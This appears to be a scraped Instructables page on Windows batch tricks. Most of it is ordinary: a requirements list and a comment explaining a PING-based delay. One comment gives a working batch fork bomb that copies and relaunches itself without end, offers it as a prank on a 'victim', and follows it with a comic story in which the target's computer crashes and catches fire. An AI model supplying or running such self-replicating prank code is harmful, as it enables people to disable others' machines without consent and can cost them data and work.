If you like, please comment for more cool batch tricks!
Remove these ads by
Signing UpStep 1Step one
Computer running windows 95 or later
Keyboard
Mouse
Notepad.exe
A brain
| « Previous Step | Download PDFView All Steps | Next Step » |
Remove these ads by
Signing Up| « Previous Step | Download PDFView All Steps | Next Step » |

All Steps Viewing
View all steps of an Instructable on the same page when you're a Pro Member.
better would be
"PING -w (ms to wait per t) -n t 1.1.1.1>nul"
this would give more control
Further Information
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
"PING" should be clear
"-w ABCD" sets the delaytime the ping waits till he gets a PONG. I think MAX is 9999 and min of 1 doesn't work (because you got a little delaytime from one command to the other)
"-n T" T is the numer how often he waits (for ABCD seconds), only change is that it is not one second anymore ('cause you've set [is that right?] it with "-w ABCD")
"1.1.1.1" should be a IP adress you cant ping (I use 1.1.1.1), so it waits the whole time of "-w ABCD" impossible is 0.0.0.0 and 255.255.255.255 ("PING.EXE" wont ping it properly)
">NUL" sends the output to *nowhere. ">CON" is default (your console, that you see)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Is that explanation ok?
(sorry for the bad English, would be nice if somebody correct it)
*NUL is a Object like LPT, LPT1, LPT2, COM etc. But NUL doesn't do anything with it. The output is deleted right away.
Beat that :P
Haha!
set num=1
set new=%num%%0
:start
copy "%0" "%new%"
start %0
start %new%
set /a num=%num%+1
goto start
Victim:Hmmm... I`m gonna install Windows. *Installs Windows*
3 hours later...
Victim: *yawn* I`m tired. I`m gonna go-*BANG* *snore* *snore* *snore*
You: *types*
2 minutes later...
Victim: I`m gonna run nethack. *types* *gasp* AHHHHHHHHHHHHHHHH!!!!!!!!!!!!!!!!!!!
You: *chuckle*
Victim: AHHHH!!!!! MY GAME!!!!!!!!!!!!!!!
You: *laughs*
Victim: *types franticly*
Computer: *beep* *beep* *beep*
Victim: *types really franticly*
Computer: *Opens 1000 error messages* *beep* *beep* *Opens 30 CMDs* *beeeeeeep*
Victim: *types super frantic*
Computer: *BEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEE* *freezes for 10 seconds* *ding* *closes all the mess*
Victim: *wipes sweat off forehead*
Computer: *beep* *beep* *beep* *Screen freaks out for a moment*
Victim: Huh?
Computer: *zzzt* *beep* *beep* *zzzt* *BEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
EEEEEEEEEE* *zzzt* *BSOD comes up*
Victim: *reaches for power button*
You: *smirks*
Computer: *Screen really freaks out* *zzzt* *beep* *BOOM*
*power outage*
You and victim: Oh my...
Computer: *zzzt* *bezzzt* *catchs on fire* *KA-BOOM* *zzzt*